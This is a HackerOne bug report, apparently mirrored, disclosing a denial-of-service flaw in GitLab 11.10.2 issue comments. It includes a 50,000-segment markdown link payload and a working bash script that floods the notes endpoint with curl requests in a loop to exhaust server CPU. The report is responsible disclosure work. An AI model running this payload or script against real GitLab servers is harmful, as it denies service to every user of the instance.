GitLab: DoS attack via comment on Issue

ID H1:557154
Type hackerone
Reporter 8ayac
Modified 2019-11-21T14:27:05



There is no limit to the number of characters in the issue comments, which allows a DoS attack. The DoS attack affects both server-side and client-side.

NOTE: This bug happens on

Steps to reproduce

▼Attack for Client-side 1. Sign in to GitLab. 2. Create a project as below: - Project name: test01 - Project slug: test01 - Visibility Level: Public - Initialize repository with README: Checked 3. Create a new issue for the project created in Step 2. 4. Post some comments on the Issue created in Step 3. 5. Post a comment as below: [a](/a/a/a/a/a/a/a/a/a/a/a/a/a/a.....(50000 times)) 6. Reload the Issue page.

Result: I received an error message "Something went wrong while fetching comments. Please try again." And I could not fetch all the comments.

Note: In Step 5, if you can not post the comment from the browser, send the HTTP request directly in some way. Note: The string to post in step 5 is described in the attached file F481358.

  • PoC movie: F481363

▼Attack for Server-side An attacker can exhaust server resources by continuously sending the requests generated in Step 5 of [Attack for Client-side]. This causes a denial of service to all users.

For example, you can verify it with a script as below: ```sh


charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/\/a/g') payload='a'

gitlabHost=$1 ProjectURL=$2 targetID=$3 loop=$4

curl=cat << EOS curl --insecure --silent --output /dev/null ${ProjectURL}/notes?target_id=${targetID}\&target_type=issue --header 'Host: ${gitlabHost}' --header 'X-CSRF-Token: [PLACEHOLDER]' -b '_gitlab_session=[PLACEHOLDER]' --data-binary 'note%5Bnoteable_type%5D=Issue&note%5Bnoteable_id%5D=3&note%5Bnote%5D=${payload}&merge_request_diff_head_sha=undefined' EOS

for i in seq ${loop} do eval ${curl}& done ```

Run the above script with the following command to see that the server's CPU is exhausted. $ ./ [GitLab host] [Project URL] [target ID(※1)] [Repeat count of request] ※1: Get from the request generated in step 5 of [Client-side attack].

  • PoC movie: F481365

Results of GitLab environment info

``` System information System: Current User: git Using RVM: no Ruby Version: 2.5.3p105 Gem Version: 2.7.6 Bundler Version:1.17.3 Rake Version: 12.3.2 Redis Version: 3.2.12 Git Version: 2.18.1 Sidekiq Version:5.2.5 Go Version: unknown

GitLab information Version: 11.10.2 Revision: f3e84e78b62 Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 9.6.11 URL: HTTP Clone URL: SSH Clone URL: Using LDAP: no Using Omniauth: yes Omniauth Providers:

GitLab Shell Version: 9.0.0 Repository storage paths: - default: /var/opt/gitlab/git-data/repositories GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell Git: /opt/gitlab/embedded/bin/git ```


Impact for client-side

All comments on Issue will be inaccessible.

Impact for server-side:

The CPU is exhausted and users will be able to access the GitLab service.

NOTE: All users who can comment on the issue can exploit this vulnerability.